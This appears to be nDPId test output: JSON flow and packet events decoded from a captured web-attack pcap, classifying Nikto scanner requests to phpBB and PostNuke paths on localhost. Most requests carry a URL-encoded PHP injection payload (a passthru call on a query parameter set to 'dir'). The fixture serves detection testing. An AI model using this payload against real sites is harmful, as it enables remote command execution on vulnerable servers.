+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":669,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":669,"flow_packet_id":1,"flow_first_seen":1576420277776,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50900,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00850{"flow_id":669,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":669,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":776119,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"AAAAAAAAAAAAAAAACABFAAFnAwdAAEAGOIh\/AAABfwAAAcbUH5DtkDois29dAoAYAED\/WwAAAQEICp1m\/zidZv83R0VUIC9wb3N0bnVrZS9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkxKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00928{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":669,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":669,"flow_packet_id":1,"flow_first_seen":1576420277776,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50900,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":670,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":670,"flow_packet_id":1,"flow_first_seen":1576420277777,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50902,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00854{"flow_id":670,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":670,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":777511,"pkt_caplen":378,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":378,"pkt_l4_len":344,"pkt":"AAAAAAAAAAAAAAAACABFAAFsiexAAEAGsZ1\/AAABfwAAAcbWH5BYorDPfm\/b94AYAED\/YAAAAQEICp1m\/zmdZv85R0VUIC9wb3N0bnVrZS9odG1sL2luZGV4LnBocD9OaWt0bz1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTM5MSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00934{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":670,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":670,"flow_packet_id":1,"flow_first_seen":1576420277777,"flow_last_seen":0,"flow_tot_l4_data_len":344,"flow_min_l4_data_len":344,"flow_max_l4_data_len":344,"flow_avg_l4_data_len":344,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50902,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":671,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":671,"flow_packet_id":1,"flow_first_seen":1576420277778,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50904,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00845{"flow_id":671,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":778783,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"AAAAAAAAAAAAAAAACABFAAFmIsJAAEAGGM5\/AAABfwAAAcbYH5ANfxvlV0uU+oAYAED\/WgAAAQEICp1m\/zqdZv86R0VUIC9tb2R1bGVzL2luZGV4LnBocD9OaWt0bz1mb3J1bXMmZmlsZT12aWV3dG9waWMmdD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00927{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":671,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":671,"flow_packet_id":1,"flow_first_seen":1576420277778,"flow_last_seen":0,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":338,"flow_max_l4_data_len":338,"flow_avg_l4_data_len":338,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50904,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":672,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":672,"flow_packet_id":1,"flow_first_seen":1576420277780,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50906,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":672,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":672,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":780054,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFkWxFAAEAG4IB\/AAABfwAAAcbaH5C23mIrVyENVIAYAED\/WAAAAQEICp1m\/zudZv87R0VUIC9waHBCQi9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTEpDQoNCg=="} +00925{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":672,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":672,"flow_packet_id":1,"flow_first_seen":1576420277780,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50906,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":673,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":673,"flow_packet_id":1,"flow_first_seen":1576420277781,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50908,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00846{"flow_id":673,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":673,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":781353,"pkt_caplen":370,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":370,"pkt_l4_len":336,"pkt":"AAAAAAAAAAAAAAAACABFAAFkNVNAAEAGBj9\/AAABfwAAAcbcH5ACfAx1v1NrvIAYAED\/WAAAAQEICp1m\/z2dZv89R0VUIC9mb3J1bS9pbmRleC5waHA\/TmlrdG89Zm9ydW1zJmZpbGU9dmlld3RvcGljJnQ9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTEpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00925{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":673,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":673,"flow_packet_id":1,"flow_first_seen":1576420277781,"flow_last_seen":0,"flow_tot_l4_data_len":336,"flow_min_l4_data_len":336,"flow_max_l4_data_len":336,"flow_avg_l4_data_len":336,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50908,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/forum\/index.php?Nikto=forums&file=viewtopic&t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001391)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":674,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":674,"flow_packet_id":1,"flow_first_seen":1576420277782,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50910,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00805{"flow_id":674,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":674,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":782816,"pkt_caplen":340,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":340,"pkt_l4_len":306,"pkt":"AAAAAAAAAAAAAAAACABFAAFGytRAAEAGcNt\/AAABfwAAAcbeH5B57PP4Y5pS64AYAED\/OgAAAQEICp1m\/z6dZv8+R0VUIC92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkyKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00894{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":674,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":674,"flow_packet_id":1,"flow_first_seen":1576420277782,"flow_last_seen":0,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":306,"flow_max_l4_data_len":306,"flow_avg_l4_data_len":306,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50910,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":675,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":675,"flow_packet_id":1,"flow_first_seen":1576420277784,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50912,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00818{"flow_id":675,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":675,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":784159,"pkt_caplen":349,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":349,"pkt_l4_len":315,"pkt":"AAAAAAAAAAAAAAAACABFAAFPyZ9AAEAGcgd\/AAABfwAAAcbgH5CxOPC81O+RlYAYAED\/QwAAAQEICp1m\/0CdZv8\/R0VUIC9wb3N0bnVrZS92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMzkyKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00904{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":675,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":675,"flow_packet_id":1,"flow_first_seen":1576420277784,"flow_last_seen":0,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":315,"flow_max_l4_data_len":315,"flow_avg_l4_data_len":315,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50912,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":676,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":676,"flow_packet_id":1,"flow_first_seen":1576420277785,"flow_last_seen":0,"flow_tot_l4_data_len":320,"flow_min_l4_data_len":320,"flow_max_l4_data_len":320,"flow_avg_l4_data_len":320,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50914,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00823{"flow_id":676,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":676,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":785435,"pkt_caplen":354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":354,"pkt_l4_len":320,"pkt":"AAAAAAAAAAAAAAAACABFAAFUq9tAAEAGj8Z\/AAABfwAAAcbiH5CAV5MAtOr6\/IAYAED\/SAAAAQEICp1m\/0GdZv9BR0VUIC9wb3N0bnVrZS9odG1sL3ZpZXd0b3BpYy5waHA\/dD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTIpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00910{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":676,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":676,"flow_packet_id":1,"flow_first_seen":1576420277785,"flow_last_seen":0,"flow_tot_l4_data_len":320,"flow_min_l4_data_len":320,"flow_max_l4_data_len":320,"flow_avg_l4_data_len":320,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50914,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/postnuke\/html\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":677,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":677,"flow_packet_id":1,"flow_first_seen":1576420277786,"flow_last_seen":0,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":314,"flow_max_l4_data_len":314,"flow_avg_l4_data_len":314,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50916,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00814{"flow_id":677,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":677,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":786696,"pkt_caplen":348,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":348,"pkt_l4_len":314,"pkt":"AAAAAAAAAAAAAAAACABFAAFOulhAAEAGgU9\/AAABfwAAAcbkH5AY64NxSFA9PIAYAED\/QgAAAQEICp1m\/0KdZv9CR0VUIC9tb2R1bGVzL3ZpZXd0b3BpYy5waHA\/dD0yJnJ1c2g9JTY0JTY5JTcyJmhpZ2hsaWdodD0lMjUyNy4lNzAlNjElNzMlNzMlNzQlNjglNzIlNzUlMjglMjQlNDglNTQlNTQlNTAlNWYlNDclNDUlNTQlNWYlNTYlNDElNTIlNTMlNWIlNzIlNzUlNzMlNjglNWQlMjkuJTI1MjcgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTIpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00903{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":677,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":677,"flow_packet_id":1,"flow_first_seen":1576420277786,"flow_last_seen":0,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":314,"flow_max_l4_data_len":314,"flow_avg_l4_data_len":314,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50916,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":678,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":678,"flow_packet_id":1,"flow_first_seen":1576420277788,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50918,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00813{"flow_id":678,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":678,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":788052,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"AAAAAAAAAAAAAAAACABFAAFMGchAAEAGIeJ\/AAABfwAAAcbmH5Ae1yDiPfgPVIAYAED\/QAAAAQEICp1m\/0OdZv9DR0VUIC9waHBCQi92aWV3dG9waWMucGhwP3Q9MiZydXNoPSU2NCU2OSU3MiZoaWdobGlnaHQ9JTI1MjcuJTcwJTYxJTczJTczJTc0JTY4JTcyJTc1JTI4JTI0JTQ4JTU0JTU0JTUwJTVmJTQ3JTQ1JTU0JTVmJTU2JTQxJTUyJTUzJTViJTcyJTc1JTczJTY4JTVkJTI5LiUyNTI3IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEzOTIpDQoNCg=="} +00901{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":678,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":678,"flow_packet_id":1,"flow_first_seen":1576420277788,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50918,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpBB\/viewtopic.php?t=2&rush=%64%69%72&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5f%47%45%54%5f%56%41%52%53%5b%72%75%73%68%5d%29.%2527","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001392)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":679,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":679,"flow_packet_id":1,"flow_first_seen":1576420277790,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50920,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 